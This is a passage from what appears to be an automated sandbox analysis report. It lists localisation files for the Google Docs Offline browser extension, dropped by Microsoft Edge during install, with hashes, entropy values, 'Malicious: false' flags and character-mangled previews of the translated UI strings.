Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
